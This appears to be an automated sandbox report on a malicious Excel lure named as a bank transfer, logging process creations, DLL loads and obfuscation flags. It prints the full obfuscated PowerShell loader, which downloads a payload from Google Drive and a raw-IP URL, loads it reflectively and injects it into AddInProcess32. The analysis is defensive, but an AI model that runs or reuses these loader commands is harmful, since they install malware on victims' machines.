Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: transferencia interbancaria_66579.xlam.xlsx

Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp

Source: transferencia interbancaria_66579.xlam.xlsx

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
